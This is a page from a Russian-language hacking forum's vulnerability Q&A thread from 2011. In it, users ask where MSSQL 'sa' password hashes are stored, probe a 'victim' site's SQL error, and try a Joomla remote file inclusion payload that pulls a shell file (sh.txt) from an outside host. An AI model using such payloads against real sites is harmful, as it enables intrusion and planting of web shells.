HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 1680 из 2438 « Первая < 6801180158016301670 1676 1677 1678 1679 1680 1681 1682 1683 1684 1690173017802180 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #16791  
Старый 10.04.2011, 13:53
gr[e]y
Новичок
Регистрация: 12.05.2010
Сообщений: 5
Провел на форуме:
4643

Репутация: 0
По умолчанию
Цитата:
Сообщение от Moriarty  
Moriarty said:
Глукануло апач, и он дал скачать этот файл =)
Не парься, все норм со скриптом.
мне через него фейк пайпала залили на сайт...!
 
Ответить с цитированием

  #16792  
Старый 12.04.2011, 05:40
IMMORTAL_S
Новичок
Регистрация: 29.04.2010
Сообщений: 19
Провел на форуме:
58603

Репутация: 3
По умолчанию
Всем привет... подскажите, где в mssql хранятся пароли пользователя sa? и какой у них тип... ну и как шифруется?

Спасибо!
 
Ответить с цитированием

  #16793  
Старый 12.04.2011, 15:15
Ups
Guest
Сообщений: n/a
Провел на форуме:
42754

Репутация: 0
По умолчанию
Есть занятная RFI в жумле. Пытаюсь поюзать:

mosConfig_absolute_path=http://****.ru/sh.txt?

Код:
Code:
Restricted access
 
Ответить с цитированием

  #16794  
Старый 12.04.2011, 15:47
Ups
Guest
Сообщений: n/a
Провел на форуме:
42754

Репутация: 0
По умолчанию
Цитата:
Сообщение от Moriarty  
Moriarty said:
mosConfig_
absolute
_path !!!
allow_url_fopen =
OFF
Чего-то не понял на счет первого. allow_url_fopen включенный\выключенный=не работает.
 
Ответить с цитированием

  #16795  
Старый 12.04.2011, 17:32
Expl0ited
Guest
Сообщений: n/a
Провел на форуме:
262707

Репутация: 935
По умолчанию
Цитата:
Сообщение от Ups  
Ups said:
Есть занятная RFI в жумле. Пытаюсь поюзать:
mosConfig_absolute_path=http://****.ru/sh.txt?
Код:
Code:
Restricted access
Закрыта бага значит :facepalm:
 
Ответить с цитированием

  #16796  
Старый 12.04.2011, 18:44
Ups
Guest
Сообщений: n/a
Провел на форуме:
42754

Репутация: 0
По умолчанию
Цитата:
Сообщение от Expl0ited  
Expl0ited said:
Закрыта бага значит :facepalm:
Дык, старая версия плагина и с багой.
 
Ответить с цитированием

  #16797  
Старый 12.04.2011, 19:18
Expl0ited
Guest
Сообщений: n/a
Провел на форуме:
262707

Репутация: 935
По умолчанию
Цитата:
Сообщение от Ups  
Ups said:
Дык, старая версия плагина и с багой.
Ну вот скажи мне, какая разница между версиями плагина?

Джумла устроена так, что сторонние компоненты лотаются довольно просто, добавлением строчки в начало бажного скрипта:

PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/COLOR][/COLOR] 
 
Ответить с цитированием

  #16798  
Старый 12.04.2011, 21:40
Ups
Guest
Сообщений: n/a
Провел на форуме:
42754

Репутация: 0
По умолчанию
Цитата:
Сообщение от Expl0ited  
Expl0ited said:
лотаются довольно просто, добавлением строчки в начало бажного скрипта:
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/COLOR][/COLOR] 
Удалил строчку. Терь ошибки вылетают.
 
Ответить с цитированием

  #16799  
Старый 14.04.2011, 16:39
Unknown
Guest
Сообщений: n/a
Провел на форуме:
28895

Репутация: 4
По умолчанию
Имеется жертва с http://localhost/news.php?do=news&page=2&, Все что следует после 2 обрубается, при подстановке page не int значения или просто пустое выражение вылетает File: /var/www/localhost/news.php

Line: 33

MySQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-15,15' at line 1

Я так понимаю кроме расрытие путей это ничего не дает?
 
Ответить с цитированием

  #16800  
Старый 14.04.2011, 16:45
Tigger
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281

Репутация: 1177


Отправить сообщение для Tigger с помощью ICQ
По умолчанию
Цитата:
Сообщение от Lijzer  
Lijzer said:
Имеется жертва с http://localhost/news.php?do=news&page=2&, Все что следует после 2 обрубается, при подстановке page не int значения или просто пустое выражение вылетает File: /var/www/localhost/news.php
Line: 33
MySQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-15,15' at line 1
Я так понимаю кроме расрытие путей это ничего не дает?
Да, GET-параметро обрабатываеться intval'ом и ничего кроме цифр не пускает. А из-за того, что параметр остается пустой, то SQL-запрос становиться невалидный и вылетает ошибка.
 
Ответить с цитированием
Ответ
Страница 1680 из 2438 « Первая < 6801180158016301670 1676 1677 1678 1679 1680 1681 1682 1683 1684 1690173017802180 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ